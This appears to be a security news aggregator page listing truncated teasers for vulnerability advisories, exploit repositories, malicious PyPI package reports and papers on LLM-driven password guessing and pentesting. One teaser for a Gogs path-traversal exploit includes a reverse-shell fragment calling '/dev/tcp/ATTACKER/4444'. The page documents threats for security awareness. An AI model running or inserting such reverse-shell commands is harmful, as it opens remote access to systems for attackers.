LLM-Guided Prompt Evolution for Password Guessing

Passwords still remain a dominant authentication method, yet their security is routinely subverted by predictable user choices and large-scale credential leaks. Automated password guessing is a key tool for stress-testing password policies and modeling attacker behavior. This paper applies...

PT-2026-32983

Name of the Vulnerable Software and Affected Versions Giskard versions prior to 1.0.2b1 Description The RegexMatching check in the giskard-checks package passes a user-supplied regular expression pattern directly to the Python re.search function without a timeout, complexity guard, or pattern...

PT-2026-32896

Name of the Vulnerable Software and Affected Versions DRC Central Office Services COS affected versions not specified Description An unauthenticated configuration file modification issue allows an attacker to modify the server configuration file. This could lead to mass data exfiltration, malicio...

Bluetooth-app

Bluetooth Security Testing App A Kivy-based Android applicati...

Vulnerability Assessment vs Penetration Testing: What Security Leaders Need to Know

Your organization runs quarterly vulnerability scans. You get a report with hundreds, sometimes thousands, of findings. Your team patches what they can and moves on. Six months later, you bring in a penetration testing firm, and they walk right through your defenses using a chain of...

xss_hunter.py

EnterXSS Fuzzer – Automated Cross-Site Scripting Detection...

CVE-2026-6179

CVE-2026-6179 concerns a stored cross-site scripting (XSS) vulnerability in NightWolf Penetration Testing Platform. The affected entry states that an attacker can trigger and run malicious script in a user’s browser due to a stored XSS flaw, enabling impact on user-side confidentiality and integr...

Towards Automated Pentesting with Large Language Models

Large Language Models LLMs are redefining offensive cybersecurity by allowing the generation of harmful machine code with minimal human intervention. While attackers take advantage of dark LLMs such as XXXGPT and WolfGPT to produce malicious code, ethical hackers can follow similar approaches to...

NightWolf Penetration Testing Platform 安全漏洞

NightWolf Penetration Testing Platform is an open-source cybersecurity testing tool developed by NightWolf. It is designed specifically for red teams and penetration testers, used for vulnerability exploitation, privilege escalation, and lateral movement testing. The NightWolf Penetration Testing...

Exploit for CVE-2020-24586

Fracture FragAttacks WiFi Penetration Framework CVE-202...

patchbot

patchbot patchbot is an AI-assisted security reviewer for p...

Exploit for Deserialization of Untrusted Data in Facebook React

R2SAE - React2Shell Auto-Exploit A Firefox extension...

pentest-autopilot-mcps

Pentest Autopilot MCP Servers Professional-grade Model Contex...

Exploit for Path Traversal in Gogs

CVE-2025-8110 — Gogs & /dev/tcp/ATTACKER/4444 0&1"' Cleanu...

CVE-2026-35206 vulnerabilities

Vulnerabilities for packages: consul-k8s, helm-docs, chart-testing, k9s, helm-operator, eksctl, cert-manager-cmctl, envoy-gateway, chartmuseum, cerbos, teleport, helm-push, kube-arangodb, trivy, helm-mapkubeapis, k8ssandra-client, flux-source-controller, kuma, zarf, harbor, headlamp, kubescape,...

GHSA-HR2V-4R36-88HR vulnerabilities

Vulnerabilities for packages: consul-k8s, helm-docs, chart-testing, k9s, helm-operator, eksctl, cert-manager-cmctl, envoy-gateway, chartmuseum, cerbos, teleport, helm-push, kube-arangodb, trivy, helm-mapkubeapis, k8ssandra-client, flux-source-controller, kuma, zarf, harbor, headlamp, kubescape,...

GHSA-HR2V-4R36-88HR vulnerabilities

Vulnerabilities for packages: k8ssandra-client-fips, cluster-api-helm-controller, trivy, cert-manager-cmctl, cluster-api-helm-controller-fips, chart-testing, helm-operator, cert-manager-cmctl-fips, tigera-operator-fips, trivy-operator-fips, headlamp, kuma, k9s-fips, helm-diff-fips,...

Malicious code in gd-auth-sso (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 8f23b8545f85df66640646272b028ab4db1032fcb4fd5bbd745971b3438cc4f1 Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLYPENTES...

MAL-2026-2536 Malicious code in yhaplo1 (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 ea4e6c1525395c0b55d0de437d61b31250561c4901199518e13cd28fe15f232f Dependency confusion attempt. The user identifies themselves as a HackerOne user abusing the PyPI for the purpose of a bug bounty program. This package did not...

Malicious code in bonsaitree1 (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 0c35db41a5cf0a0671b33adf698777ebb63055a4f5ab3076bf3ed563a875cbb6 Dependency confusion attempt. The user identifies themselves as a HackerOne user abusing the PyPI for the purpose of a bug bounty program. This package did not...